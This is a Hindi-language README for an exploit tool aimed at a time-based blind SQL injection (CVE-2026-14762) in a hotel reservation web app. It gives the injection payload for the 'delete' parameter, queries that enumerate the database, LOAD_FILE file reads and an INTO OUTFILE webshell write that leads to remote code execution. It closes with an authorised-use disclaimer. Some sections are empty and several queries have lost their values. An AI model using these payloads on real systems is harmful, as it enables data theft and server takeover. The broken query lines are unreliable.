CVE-2026-14762 – Code‑Projects होटल एवं पर्यटन आरक्षण 1.0 SQL इंजेक्शन एक्सप्लॉइट

CVE-2026-14762 के लिए पूर्ण रूप से सुसज्जित, मल्टी-थ्रेडेड, समय-आधारित ब्लाइंड SQL इंजेक्शन एक्सप्लॉइट।
Code‑Projects Hotel & Tourism Reservation एप्लिकेशन (संस्करण 1.0) के /admin/rooms.php एंडपॉइंट को लक्षित करता है।
पूर्ण डेटाबेस गणना, फ़ाइल सिस्टम पठन (LOAD_FILE), और मनमाना फ़ाइल लेखन (INTO OUTFILE / DUMPFILE) प्राप्त करता है – जो वेबशेल तैनाती के माध्यम से रिमोट कोड निष्पादन की ओर ले जाता है।

🚀 विशेषताएँ

📦 आवश्यकताएँ

• Python ≥ 3.11
• पायथन पैकेज:
  • requests
  • urllib3
  • colorama (वैकल्पिक – रंगीन टर्मिनल आउटपुट के लिए)

सभी निर्भरताएँ इस प्रकार स्थापित करें:

pip install requests urllib3 colorama

📖 उपयोग

git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git

cd CVE-2026-14762-PoC-Exploit

chmod +x exploit.py or basic_exploit.py

📖 कमांड-लाइन तर्क

⚙️ यह कैसे काम करता है

पेलोड निर्माण

delete पैरामीटर में निम्न इंजेक्ट किया जाता है:

150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1

IF(), स्थिति का मूल्यांकन करता है; यदि सत्य है, तो डेटाबेस सेकंड के लिए सोता है।

बाइनरी-सर्च कैरेक्टर निष्कर्षण

प्रत्येक कैरेक्टर स्थिति के लिए, ASCII रेंज (32–126) पर एक बाइनरी सर्च, > और = तुलनाओं का उपयोग करके सही कैरेक्टर निर्धारित करता है। यह प्रति कैरेक्टर अनुरोधों को 95 से घटाकर ~7–8 कर देता है, जिससे निष्कर्षण अत्यधिक कुशल हो जाता है।

मेटाडेटा गणना

• डेटाबेस नाम: SELECT DATABASE()
• तालिकाएँ: SELECT table_name FROM information_schema.tables WHERE table_schema='' LIMIT n,1
• कॉलम: SELECT column_name FROM information_schema.columns WHERE table_schema='' AND table_name='' LIMIT n,1

  डेटा बहिर्निष्कासन

  • SELECT
  FROM
  LIMIT row,1 – पंक्ति दर पंक्ति निकालता है
• प्रत्येक सेल को उसी बाइनरी-सर्च तकनीक का उपयोग करके कैरेक्टर दर कैरेक्टर निकाला जाता है

फ़ाइल सिस्टम इंटरैक्शन

• पढ़ें: LOAD_FILE('/path/to/file') – इसके लिए secure_file_priv का खाली होना या लक्ष्य निर्देशिका की ओर इंगित करना आवश्यक है
• लिखें: SELECT '' INTO OUTFILE '/path/to/shell.php' – इसके लिए FILE विशेषाधिकार और गैर-प्रतिबंधात्मक secure_file_priv आवश्यक है

---

🛡️ अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण, शैक्षिक अनुसंधान और भेद्यता मूल्यांकन के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग, अवैध गतिविधियों, या क्षति के लिए जिम्मेदार नहीं है। परीक्षण से पहले हमेशा सिस्टम स्वामी से स्पष्ट लिखित अनुमति प्राप्त करें।